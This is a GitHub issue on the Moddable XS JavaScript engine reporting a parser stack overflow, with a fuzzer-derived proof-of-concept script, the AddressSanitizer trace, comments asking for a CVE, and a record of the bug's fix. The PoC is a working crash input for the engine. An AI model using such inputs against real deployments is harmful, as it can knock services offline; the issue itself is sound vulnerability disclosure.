

New issue

Jump to bottom

stack-overflow(fxBinaryExpressionNodeDistribute) #587



rain6851 opened this issue on Feb 26, 2021 · 2 comments

Labels

fixed - please verify

rain6851 commented on Feb 26, 2021

Enviroment

operating system: ubuntu18.04
compile command: cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc

poc:

```
function getHiddenValue() {
    var obj = {};
    var oob = '/re/';
    oob = oob.replace('', '-0'.repeat(1048576));
    var str = '(new Number(-0))' + oob + '(new Boolean(false))';
    var fun = eval(str);
    Object.assign(obj, fun);
    return obj;
}
function makeOobString() {
    var hiddenValue = getHiddenValue();
    var str = '-Infinity';
    var fun = eval(str);
    Object.assign(fun, hiddenValue);
    var oobString = fun.toString();
    return oobString;
}
var oobString = makeOobString();
```

description

ASAN:SIGSEGV

=====

==6025==ERROR: AddressSanitizer: stack-overflow on address 0x7fff6d476ff8 (pc 0x000000646053 bp 0x7fff6d477020 sp 0x7fff6d476ff0 T0)

#0 0x646052 in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:265

#1 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#2 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#3 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#4 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#5 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#6 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#7 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#8 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#9 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#10 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#11 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#12 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#13 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#14 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#15 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#16 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#17 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#18 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#19 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#20 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#21 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#22 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#23 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#24 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#25 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#26 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#27 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#28 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#29 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#30 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#31 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#32 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#33 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#34 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#35 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#36 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#37 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#38 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#39 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#40 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#41 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#42 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

#43 0x607b7f in fxNodeHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:355

#44 0x607c21 in fxNodeDispatchHoist /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsScope.c:361

#45 0x64609b in fxBinaryExpressionNodeDistribute /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:267

[illegible]

```
SUMMARY: AddressSanitizer: stack-overflow /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsTree.c:265 fxBinaryExpressionNodeDistribute
==6025==ABORTING
```

dckc commented on Mar 5, 2021

Contributor

Hi @rain6851 this is great work!

I tried to do something similar back in January... [Agoric/agoric-sdk#2224 \(comment\)](#)

but I didn't get very far. I would really appreciate your help understanding how to do this and learning about your fuzzing projects. Any chance you're available to discuss it with me some time? Feel free to write to me offline at dckc@madmode.com or via keybase chat: <https://keybase.io/dckc>

rain6851 commented on Mar 6, 2021


Author

Hi @rain6851 this is great work!

I tried to do something similar back in January... [Agoric/agoric-sdk#2224 \(comment\)](#)

but I didn't get very far. I would really appreciate your help understanding how to do this and learning about your fuzzing projects. Any chance you're available to discuss it with me some time? Feel free to write to me offline at dckc@madmode.com or via keybase chat: <https://keybase.io/dckc>

Related technologies will be published in the form of papers. Please help me apply for a CVE number to encourage me.

 mkellner pushed a commit that referenced this issue on Mar 15, 2021

XS: [#586](#) & [#587](#)

dbd3a5f

 phoddie added the [fixed - please verify](#) label on Mar 15, 2021

 phoddie closed this as completed on Mar 23, 2021

Assignees

No one assigned

Labels

[fixed - please verify](#)

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

